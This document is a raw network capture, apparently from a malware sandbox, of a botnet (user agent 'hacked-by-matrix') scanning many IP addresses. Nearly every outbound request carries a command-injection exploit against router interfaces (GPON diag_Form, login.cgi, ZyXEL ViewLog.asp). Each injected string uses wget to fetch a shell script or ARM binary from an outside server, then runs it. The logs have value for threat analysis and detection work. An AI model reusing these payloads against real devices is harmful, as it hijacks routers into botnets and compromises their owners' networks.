Mar 21, 2024 05:17:27.106878042 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
461	192.168.2.23	44882	178.165.84.148	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:27.106925964 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
462	192.168.2.23	53684	79.118.178.150	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:27.106960058 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
463	192.168.2.23	55416	210.197.206.224	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:27.106990099 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
464	192.168.2.23	39278	54.70.61.212	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:27.205223083 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:27.382335901 CET	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Thu, 21 Mar 2024 04:17:27 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
465	192.168.2.23	37710	163.32.127.114	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:27.355566978 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:28.989134073 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:30.908942938 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:34.972320080 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:42.651254892 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:58.010890007 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:28.980851889 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
466	192.168.2.23	32908	18.102.37.118	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:27.383582115 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:27.575839996 CET	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Thu, 21 Mar 2024 04:17:27 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
467	192.168.2.23	46806	198.58.116.27	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:27.443145037 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:27.921766043 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:28.057209015 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:27 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
468	192.168.2.23	39682	178.16.140.202	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:27.474637985 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:27.698854923 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:27.846940994 CET	344	IN	HTTP/1.1 405 Not Allowed Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Mar 2024 04:17:27 GMT Content-Type: text/html Content-Length: 166 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>
Mar 21, 2024 05:17:27.847048998 CET	339	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Mar 2024 04:17:27 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
469	192.168.2.23	52034	82.196.16.223	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:27.498845100 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:28.413239002 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:28.585890055 CET	1008	IN	HTTP/1.1 404 Date: Thu, 21 Mar 2024 04:03:45 GMT Server: Apache Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 788 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 70 3e 3c 62 3e 54 79 70 65 3c 2f 62 3e 20 53 74 61 74 75 73 20 52 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 4d 65 73 73 61 67 65 3c 2f 62 3e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 5b 26 23 34 37 3b 67 75 61 63 61 6d 6f 6c 65 26 23 34 37 3b 63 67 69 2d 62 69 6e 26 23 34 37 3b 56 69 65 77 4c 6f 67 2e 61 73 70 5d 20 69 73 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 3c 2f 70 3e 3c 70 3e 3c 62 3e 44 65 73 63 72 69 70 74 69 6f 6e 3c 2f 62 3e 20 54 68 65 20 6f 72 69 67 69 6e 20 73 65 72 76 65 72 20 64 69 64 20 6e 6f 74 20 66 69 6e 64 20 61 20 63 75 72 72 65 6e 74 20 72 65 70 72 65 73 65 6e 74 61 74 69 6f 6e 20 66 6f 72 20 74 68 65 20 74 61 72 67 65 74 20 72 65 73 6f 75 72 63 65 20 6f 72 20 69 73 20 6e 6f 74 20 77 69 6c 6c 69 6e 67 20 74 6f 20 64 69 73 63 6c 6f 73 65 20 74 68 61 74 20 6f 6e 65 20 65 78 69 73 74 73 2e 3c 2f 70 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 68 33 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 39 2e 30 2e 37 33 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 404 Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 Not Found</h1><hr class="line" /><p><b>Type</b> Status Report</p><p><b>Message</b> The requested resource [/guacamole/cgi-bin/ViewLog.asp] is not available</p><p><b>Description</b> The origin server did not find a current representation for the target resource or is not willing to disclose that one exists.</p><hr class="line" /><h3>Apache Tomcat/9.0.73</h3></body></html>
Mar 21, 2024 05:17:28.585903883 CET	404	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:03:45 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
470	192.168.2.23	56424	213.95.171.56	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:27.502980947 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
